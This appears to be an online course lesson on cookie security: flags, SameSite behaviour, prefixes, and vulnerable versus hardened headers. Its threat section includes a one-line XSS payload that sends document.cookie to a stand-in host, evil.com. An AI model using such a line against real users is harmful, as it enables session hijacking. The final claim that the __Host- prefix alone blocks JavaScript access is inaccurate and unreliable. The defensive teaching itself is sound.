Skip to content
Module 6 of 8Authentication
Estimated time: 20 min

Cookie Security Architecture

HttpOnly, Secure, SameSite, Domain scoping, and Prefix standards.

Core Concept & Mental Model

HTTP Cookies are the foundation of web session persistence. Securing cookies with proper flags and prefix standards prevents token exfiltration via XSS, man-in-the-middle interception, and cross-site injection.

Threat Vector & Impact

A session cookie without `HttpOnly` can be stolen with `new Image().src = "evil.com?c=" + document.cookie`. Without `Secure`, credentials transmit in plaintext across open Wi-Fi networks.

Defensive Architecture & Mitigation

Always configure `HttpOnly; Secure; SameSite=Lax`. Utilize modern cookie prefixes `__Host-` and `__Secure-` to lock down domain and path spoofing.

Technical Deep Dive

The Essential Security Flags

  • HttpOnlyPrevents client-side scripts from reading document.cookie, mitigating credential theft via XSS.
  • SecureEnsures the cookie is only transmitted over encrypted HTTPS connections, preventing network sniffing.
  • SameSite=Lax / StrictRestricts cross-site transmission to mitigate CSRF attacks.
  • Path=/ & Domain ScopingOmitting the Domain attribute restricts the cookie strictly to the host, preventing subdomain leakage.

The __Host- and __Secure- Cookie Prefixes

Modern browsers enforce rules for special cookie names. Cookies starting with `__Host-` MUST have `Secure`, `Path=/`, and NO `Domain` attribute, preventing any compromised subdomain from overwriting parent cookies.

Interactive Mental Model Simulation

Live Visualizer
Interactive Cookie Security Inspector
RFC 6265bis

Sent only on top-level safe GET navigations.

Prevents JavaScript reading via document.cookie.

Transmitted only over HTTPS connections.

Set-Cookie: session_token=k9f02a83; Path=/; SameSite=Lax; Secure; HttpOnly;
Simulate Browser Request Scenario:
Top-Level Link Navigation (evil.com -> bank.com)
ATTACHED: Both SameSite=Lax and SameSite=None send cookies on top-level safe GET navigations.

Code Implementation & Patching

Vulnerable Code (Exploitable)
// Insecure Cookie Configuration
Set-Cookie: sessionId=xyz123; Path=/;
// Insecure: readable via document.cookie, transmitted over plaintext HTTP!
Secure Patched Code (Hardened)
// Robust Cookie Configuration with __Host- Prefix
Set-Cookie: __Host-sessionId=xyz123; 
  Path=/; 
  Secure; 
  HttpOnly; 
  SameSite=Lax; 
  Max-Age=86400;
Security Analysis & Core Architectural Rule

__Host- prefix guarantees the cookie is encrypted over HTTPS, inaccessible to JavaScript, restricted to the exact domain (no subdomains), and scoped to the root path.

Test Your Knowledge on Cookie Security Architecture

Challenge yourself with realistic scenario questions in the Web Security Arena.

Launch Practice Arena